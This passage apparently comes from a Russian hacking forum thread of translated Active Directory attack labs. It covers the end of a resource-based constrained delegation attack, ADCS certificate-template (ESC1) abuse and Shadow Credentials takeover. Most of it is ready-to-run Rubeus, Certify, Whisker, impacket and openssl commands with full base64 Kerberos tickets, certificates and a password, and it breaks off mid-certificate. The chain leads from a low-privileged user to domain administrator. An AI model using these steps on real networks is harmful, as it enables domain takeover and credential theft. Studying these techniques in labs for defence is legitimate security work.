fnBHxQB79egNWe+IgKmqDk96/JBfAuJ7fYMob/ftchappSqMOerbkB0bZACSwbLkrngiZ8RhQ8iB07r/zd/ou+bStFa1QayJovGiC3s1tdhJcqQ5S0WadDdIELrJClYpSP30brFaIbxweiQl6H/WzPySiCd/hzUvXuvhDSwXV5960mllFSMxBkIhf81yCE67/ivUkZbSEOFunP8FbvCjHz23o10K4nEs6WqGavWBbUznX1KyvFPDem0+ELMxIrO2dqgjsBs+CVzm4dRi0WQr/VBbxArL6nxBxTey9HFZf1HZX3+XesrXUZBVfVyIwB1d0a2MmId00sOKhiZtnLwdb9OHBS4RU5HV70hlEZFOH4WSY6Pbv4e5ExxJOSeOGq8Ysh7Ex9WyEVcbVHXtmNalJGfxnvtjp4uF35Uvkg1zzFxCYG5XE+9tCn/QCl94xsiDGyYWwTqstXiGBoIZtDCs89RfWWo9NWqG1isKdPy9NQSq3htM1YjS9gv7G9b7YJaRNwgeb5s1Y1YqDDdaYGC3yfRnqrHStokGo8OSLwKD+F2ZQuQgODQiY7PfhBq5jCKpvAiTomwL43OxKswMBB4r+0XWrL0sZin8d7SUr6jgdIwgc+gAwIBAKKBxwSBxH2BwTCBvqCBuzCBuDCBtaAbMBmgAwIBF6ESBBD1cF+spxbTXDsrdF5xIsmdoQ8bDU9GRkVOU0UuTE9DQUyiGjAYoAMCAQqhETAPGw1BZG1pbmlzdHJhdG9yowcDBQAAoQAApREYDzIwMjEwODA1MjEzNTA2WqYRGA8yMDIxMDgwNjA3MzUwNlqnERgPMjAyMTA4MTIyMTM1MDZaqA8bDU9GRkVOU0UuTE9DQUypFjAUoAMCAQGhDTALGwlRVUFJSVZWRSQ=

[*] Impersonating user 'Administrator' to target SPN 'host/ws01.offense.local'
[*] Final ticket will be for the alternate service 'cifs'
[*] Using domain controller: dc01.offense.local (10.0.0.6)
[*] Building S4U2proxy request for service: 'host/ws01.offense.local'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi) for SPN 'cifs/ws01.offense.local':

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
[+] Ticket successfully imported!


Выше и ниже показано, как TGS для administrator@offense.local получает доступ к cifs/ws01.offense.local:

1660702268436.png


Декодирование TGS в .kirbi

В окне Kali давайте с помощью base64 декодируем TGS, который мы получили для administrator@offense.local, в cifs/ws01.offense.local и сохраняем его как admin.kirbi:

echo "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" | base64 -d > admin.kirbi

Преобразование билета .kirbi в .ccache


Используйте инструмент ticketConverter от impacket, чтобы преобразовать файл .kirbi в файл .ccache следующим образом:

examples/ticketConverter.py ../admin.kirbi admin.ccache

1660702302638.png


Экспорт KRB5CCNAME


Теперь нам нужно экспортировать переменную KRB5CCNAME и указать ее в наш файл admin.ccache:

export KRB5CCNAME=admin.ccache

1660702319248.png


Выполнение кода от имени администратора домена на WS01


Теперь мы можем использовать wmiexec impacket для выполнения команд на WS01 от имени администратора:

examples/wmiexec.py -k -no-pass offense.local/administrator@ws01.offense.local

1660702338851.png


Выполнение привилегированного кода на WS01 также может быть достигнуто с помощью psexec impacket:

1660702348195.png


Примечание

Также можно выполнить RBCD для локального повышения привилегий:

- используя скомпрометированного пользователя с установленным SPN, предполагая, что у вас есть право WRITE на компьютер, который вы хотите скомпрометировать, объект AD, как описано
https://orangecyberdefense.com/glob...ues-and-tools-for-domain-takeover-using-rbcd/

- через socks-прокси и перенаправление удаленных портов, как описано https://www.praetorian.com/blog/red-team-privilege-escalation-rbcd-based-privilege-escalation-part-2/, что снижает потребность в Linux ящик внутри скомпрометированной сети с настроенным прослушивателем ретрансляции NTLM.

Обратите внимание на себя: какой это красивый вектор атаки.

PetitPotam заблокирован?

Теперь вы также можете использовать это:

 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ахереть сколько же ты времени убил на эту дичь? Тут реально пиздаче чем в моем мануале хоть и очень геморойно буду курить ночами. Хотя мой метод который более прост в исполнении тоже ахуенен возможно в методичке 2.0 опишу его пока только в планах.
 
Ахереть сколько же ты времени убил на эту дичь? Тут реально пиздаче чем в моем мануале хоть и очень геморойно буду курить ночами. Хотя мой метод который более прост в исполнении тоже ахуенен возможно в методичке 2.0 опишу его пока только в планах.
🤗
🤗 🤗
 
25. От неправильно настроенного шаблона сертификата к администратору домена

Это краткая лаба для ознакомления с методом повышения привилегий ECS1, которая иллюстрирует, как можно повысить статус от обычного пользователя до администратора домена в домене Windows, злоупотребляя шаблонами сертификатов Active Directory Certificate Services (ADCS) с избыточными разрешениями.

Эта лабораторная работа основана на https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf

Поиск уязвимых шаблонов сертификатов

Оказавшись в среде AD, мы можем найти уязвимые шаблоны сертификатов с помощью Certify, инструмента, выпущенного SpecterOps в рамках упомянутого выше исследования:

certify.exe find /vulnerable

Ниже показан фрагмент отредактированного вывода Certify, в котором содержится информация об уязвимом сертификате:

1660943018708.png


На приведенном выше снимке экрана обратите внимание на следующие 3 ключевых фрагмента информации, которые говорят нам о том, что шаблон сертификата уязвим и может быть использован для повышения привилегий от обычного пользователя до администратора домена:

-msPKI-Certificates-Name-Flag: поле поля ENROLLEE_SUPPLIES_SUBJECT, которое указывает, что пользователь, который запрашивает новый сертификат на основе этого шаблона сертификата, может запросить сертификат для другого пользователя, то есть любого пользователя, включая пользователя-администратора домена.

Ниже показана та же настройка шаблона сертификата через графический интерфейс при проверке шаблонов сертификатов через certsrv.msc:

1660943031811.png


- PkiExtendedKeyUsage: проверка подлинности клиента, указывающая, что сертификат, который будет создан на основе этого шаблона сертификата, может использоваться для проверки подлинности компьютеров в Active Directory.

Ниже показана та же настройка через графический интерфейс при проверке шаблонов сертификатов через certsrv.msc:

1660943054902.png


- Enrollment Rights: NT Authority\Authenticated Users, что означает, что любой аутентифицированный пользователь в Active Directory может запрашивать создание новых сертификатов на основе этого шаблона сертификата.

Ниже показана та же настройка через графический интерфейс при проверке шаблонов сертификатов через certsrv.msc:

1660943065433.png



Запрос сертификата с Certify

Как только уязвимый шаблон сертификата будет идентифицирован, мы можем запросить новый сертификат от имени администратора домена с помощью Certify, указав следующие параметры:

-/ca - указывает сервер центра сертификации, на который мы отправляем запрос;

-/template — указывает шаблон сертификата, который следует использовать для создания нового сертификата;

-/altname - указывает пользователя AD, для которого должен быть сгенерирован новый сертификат.

certify.exe request /ca:<$certificateAuthorityHost> /template:<$vulnerableCertificateTemplateName> /altname:<$adUserToImpersonate>


Ниже показано, что сертификат в формате PEM был успешно выпущен:

1660943087194.png


Преобразование PEM в PFX

Как упоминалось выше, сертификат, который мы только что получили, имеет формат PEM.

Чтобы использовать его с таким инструментом, как Rubeus, для запроса билета предоставления билетов Kerberos (TGT) для пользователя, для которого мы создали сертификат, нам нужно преобразовать сертификат в формат PFX.

Для этого скопируйте содержимое сертификата, распечатанного Rubeus, и вставьте его в файл с именем cert.pem.

Затем преобразуйте его в cert.pfx с помощью Open SSL (в Linux) следующим образом:

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Запрос TGT с сертификатом


Получив сертификат в cert.pfx, мы можем запросить Kerberos TGT для пользователя, для которого мы создали новый сертификат:

Rubeus.exe asktgt /user:<$adUserToImpersonate> /certificate:cert.pfx /ptt

Ниже показано, что новый TGT для целевого пользователя (администратора домена в нашем случае), использующего https://github.com/GhostPack/Rubeus, был запрошен и введен в текущий сеанс входа в систему (из-за /ptt):

1660943115740.png


На этом этапе мы можем проверить, повысили ли мы свои привилегии до администратора домена, указав административный общий ресурс c$ на сервере, на котором у нас обычно нет прав локального администратора:

1660943125164.png


Бонус: запрос сертификата вручную

Это дополнительный раздел, в котором показано, как мы можем запросить новый сертификат для целевого пользователя без Rubeus, но с файлом запроса на подпись сертификата (CSR), созданным вручную, а затем отправленным на веб-портал самообслуживания служб сертификации Active Directory.

Создание файла запроса на подпись сертификата

Создайте новый файл cert.cnf со следующим содержимым (измените поля по своему усмотрению):

[ req ]
default_bits = 2048
distinguished_name = req_distinguished_name
req_extensions = req_ext
[ req_distinguished_name ]
countryName = GB
stateOrProvinceName = State or Province Name (full name)
localityName = Locality Name (eg, city)
organizationName = Organization Name (eg, company)
commonName = Common Name (e.g. server FQDN or YOUR name)
[ req_ext ]
subjectAltName = otherName:1.3.6.1.4.1.311.20.2.3;UTF8:$adUserToImpersonate


Наиболее важной является строка 12, которая определяет поле subjectAltName, которое представляет собой samaccountname пользователя в Active Directory, которого мы хотим в конечном итоге олицетворить (т. е. администратора домена), для которого мы будем запрашивать сертификат.

Значение Samaccountname в этом файле определено в переменной $adUserToImpersonate — вам нужно изменить ее на имя администратора samaacountname, которое вы хотите олицетворять.

Как только файл cert.cnf будет готов, создайте фактический запрос на подпись сертификата с помощью openssl (в Linux):

openssl req -out cert-request.csr -newkey rsa:2048 -nodes -keyout key.key -config cert.cnf

Ниже показано, как был создан файл запроса на подпись сертификата в кодировке base64 cert-request.csr:

1660943155165.png


Теперь скопируйте содержимое cert-request.csr, поскольку оно понадобится нам на последнем этапе этого процесса, как описано ниже.

Запрос сертификата через веб-портал CertSrv

Перейдите к https://$adcs/certsrv, где $adcs — это узел служб сертификации Active Directory, и нажмите Запросить сертификат:

1660943167879.png


Нажмите расширенный запрос сертификата:

1660943176226.png


Наконец, выберите шаблон уязвимого сертификата, на основе которого вы хотите создать новый мошеннический сертификат, вставьте содержимое cert-request.csr в поле запроса и нажмите Отправить, чтобы получить новый сертификат для вашего целевого пользователя:

1660943186915.png
 
26. Теневые учетные данные

Это краткое лабораторное занятие для ознакомления с техникой под названием Shadow Credentials https://posts.specterops.io/shadow-...ust-account-mapping-for-takeover-8ee1a53566ab , о которой написано в https://medium.com/@elad.shamir?source=post_page-----8ee1a53566ab--------------------------------. Этот метод позволяет злоумышленнику завладеть учетной записью пользователя или компьютера AD, если он может изменить атрибут msDS-KeyCredentialLink целевого объекта (учетной записи пользователя или компьютера) и добавить к нему альтернативные учетные данные, в виде сертификатов.

Предпосылки

Помимо возможности записи атрибута msDS-KeyCredentialLink на целевого пользователя или компьютер, чтобы этот метод работал, среда должна быть настроена следующим образом:

- В домене должны быть настроены службы сертификации Active Directory и центр сертификации.

- В домене должен быть хотя бы один контроллер домена с Windows Server 2016, поддерживающий PKINIT.

Учетная запись пользователя

Обзор

-SAC1$ — неправильно настроенная учетная запись компьютера, которую можно использовать. Каждый может редактировать свой атрибут msDS-KeyCredentialLink. Эта учетная запись компьютера является членом группы администраторов домена, поэтому мы возьмем на себя эту учетную запись в этой лабораторной работе, фактически повысив привилегии до администратора домена.

1660943698534.png


- regular.user — пользователь с низким уровнем привилегий, от которого мы будем выполнять технику.

- user-server - компьютер, с которого будет выполняться техника с привилегиями regular.user .

- first-dc — контроллер домена, который мы будем скомпрометировать, используя скомпрометированную учетную запись компьютера sac1$.

Прохождение

Поскольку каждому разрешено ПИСАТЬ в учетную запись компьютера SAC1$ (как упоминалось в разделе обзора), мы можем выполнить эту технику из контекста безопасности любого пользователя с низким уровнем привилегий и повысить привилегии до администратора домена.

Давайте добавим теневые учетные данные (помните, они будут добавлены путем изменения атрибута msDS-KeyCredentialLink) в учетную запись уязвимого компьютера sac1$ с помощью инструмента под названием https://github.com/eladshamir/Whisker.

Whisker.exe add /target:sac1$


Ниже показано, что whisker успешно обновил атрибут msDS-KeyCredentialLink и добавил теневые учетные данные для этой учетной записи.

В то же время, whisker выдает команду rubeus, которую мы затем можем использовать против целевой учетной записи sac1$, чтобы получить ее TGT и/или раскрыть ее хэш NTLM (для использования в атаках Pass The Hash):

1660943759388.png


После того, как теневые учетные данные были добавлены в учетную запись, мы можем подтвердить, что msDS-KeyCredentialLink действительно был добавлен/записан в:

get-netcomputer sac1

1660943779785.png


Теперь мы готовы взять учетную запись компьютера sac1$ и поднять ее до администратора домена. Перед этим давайте подтвердим, что мы не можем получить доступ к общему ресурсу c$ на контроллере домена first-dc.first.local с правами обычного пользователя:

1660943788328.png


Теперь давайте вытащим TGT для SAC1$, используя только что добавленные теневые учетные данные, и еще раз попробуем получить доступ к c$ на контроллере домена first-dc:

Rubeus.exe asktgt /user:sac1$ /certificate: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 /password:"FordjX0Vp2VSncVV" /domain:first.local /dc:First-DC.first.local /getcredentials /show /ptt

Учетная запись компьютера


Как упоминалось ранее, учетные записи компьютеров и, следовательно, сами компьютеры также могут быть скомпрометированы с использованием теневых учетных данных, и в этом разделе показано, как это сделать.

Обзор

- User-server2$ - Уязвимый компьютерный объект AD - Каждый имеет полный контроль над ним. Это компьютер, которым мы займемся и получим доступ к его административному общему ресурсу c$.

1660943819517.png


- User-server - компьютер, с которого будет выполняться техника.

- Regular.user — учетная запись пользователя с низким уровнем привилегий, вошедшая в систему пользователя-сервера.

Прохождение

Первый шаг такой же, как и при переходе на учетную запись пользователя — добавьте теневые учетные данные на целевой компьютер user-server2$:

Whisker.exe add /target:user-server2$

Как только теневые учетные данные будут добавлены в user-server2$, давайте вытащим его TGT:

Rubeus.exe asktgt /user:user-server2$ /certificate:MIIJ0AIBAzCCCYwGCSqGSIb3DQEHAaCCCX0Eggl5MIIJdTCCBg4GCSqGSIb3DQEHAaCCBf8EggX7MIIF9zCCBfMGCyqGSIb3DQEMCgECoIIE9jCCBPIwHAYKKoZIhvcNAQwBAzAOBAjVKpvCwN2DDgICB9AEggTQ6Rzssr7xm/rJ18Tgj/T/jYz2BDjKePfBWSJnGe2uRZiOji1gLEUggzwNdKV51MnO0PZP3ABiRcqb197BOIGf0e1ht7yjyE94dQ+VW4+x6Q2l/qnB6ApogFs8PoBeDuwz+fHkaZzz8CRYiJj/IgUkjWYs79hXsIv0bojhP+3qD+op6BVzwIlz5tGgCrIMyYS9AzNx4yY2bFkKT5/q8b4zU+s7cAeCGFkcFKVRKVTb5JoO2m7FFuXa85qHXxkuNYjR+caBiqFvU+DNlItiQAyQMADU1JxEqjTZb+qeVdxMpytItAUcv4sIZduzBJkWE/L5BP8XctRKPsQf+G9xSjK2gZiHX7WVnAwLwwcwn2XWyftGXU3H4q+VxDOKjCJszRdOcRFOl54sEzQaKF8iRab/MCpC3Obm1wcCTP5xl/h0mAAqZbyGJMCOMoyhtBKpLVuyn7/nXbcJ1UPf5C0UtJbytk510HflpIHNvrseMJQXatzN6g54b8yw7uYT1M92NAt46fvFL+NHFMLZO6rIyE3EwoMzXgxqTyCKQ39eaIr733fr4v2UrZO/r3SOuzAzSiC29MRENiwBAub0uO9ZE01wsoJCnyJj57QU5Dm4HagsTiYV06MCFOq3Brvh9Ya7sNdXW5ChxHBIifQmYKhpmPnPAvOyuoNojf7s2a4j5tg+QC3CfckH/SZh8qaqJvLnb0/Wxu2kKFpXXB4jQQc2kBegxgufUL5kuO4/skIM/av9iuSjDj9AhBsJ3/a3/OIdkJXAiYAy0oAnzEExz4dwczU9bF5aGia9kdTRN7ntboIQKkCOAaCly7q6L+YGn/DL7nBAtuLVZuN6lfKjqHGL3sHG6kuYNBesDYE65QomxBP7/u9KniIoka9TwtmOd3nxmVoCUwBV/+xUFXdABcc/xQuXb3S+JMlyIE119NcJ2QwJ/rRl6n1Aevzn2rw+CEtaVp0ZHmTESQwyuONgLQRiqCHt4AgcSMvHXKwv/7s3hq3QzSY0PbRuAx//tKFrgYbbbryc/0+hQ6qqjyMlFBzaNEQ+88dv+YWuxCGoSWdafKytNJWZaO336KIozINxgVP9ZHt94e53WjnOoxk+MTL1af24jK2qXQA7gf4XTD1/i6+AIgyL4DSYwY09Y82Lg6++fcv1l3kTvKiXeZXXJioK9z0U4bDCglnOsNpomOhDRS6g